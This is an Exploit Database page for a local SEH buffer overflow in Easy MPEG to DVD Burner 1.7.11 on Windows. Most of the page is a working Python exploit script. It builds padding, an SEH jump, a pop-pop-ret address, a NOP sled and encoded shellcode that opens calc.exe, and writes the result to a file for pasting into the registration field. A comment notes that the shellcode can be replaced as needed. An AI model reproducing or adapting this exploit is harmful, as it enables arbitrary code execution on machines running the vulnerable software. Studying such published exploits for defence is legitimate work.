



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH)

**EDB-ID:**

44565

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[MARWAN SHAMEL](#)

**Type:**

[LOCAL](#)

**Exploit:**  

**Platform:**

[WINDOWS](#)

**Date:**

2018-05-02

**Vulnerable App:** 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
#!/usr/bin/python
```

```
# Exploit Title: Easy MPEG to DVD Burner 1.7.11 SEH Local Buffer Overflow
# Date: 2018-05-02
# Exploit Author: Marwan Shamel
# Software Link: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html
# Version: 1.7.11
# Tested on: Windows 7 Enterprise SP1 32 bit
# Special thanks to my wife
# Steps : Open the APP > click on register > Username field > just paste whatever generated from python script in the txt file.
```

```
junk = "\x42" * 1008
```

```
# below shell code will open calc.exe can be changed according to your needs just make sure to avoid bad chars x0d x00 x0a
```

```
evil = ""
```

```
evil += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
```

```
evil += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
```

```
evil += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
```

```
evil += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
```

```
evil += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
```

```
evil += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
```

```
evil += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
```

```
evil += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
```

```
evil += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
```

```
evil += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
```

```
evil += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
```

```
evil += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
```

```
evil += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
```

```
evil += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
```

```
evil += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
```

```
evil += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
```

```
evil += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
```

```
nSEH = "\xeb\x0C\x90\x90" #Jmp short 14 (EB0C)
```

```
SEH = "\xae\x4a\x01\x10" #pop ebp # pop ebx # ret (DLL have ASLR, safeSEH, rebase off)
```

```
nop = "\x90" * 16
```

```
data = junk + nSEH + SEH + nop + evil
```

```
f = open("Evil.txt", "w")
```

```
f.write(data)
```

```
f.close()
```

Tags: [Local](#)Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING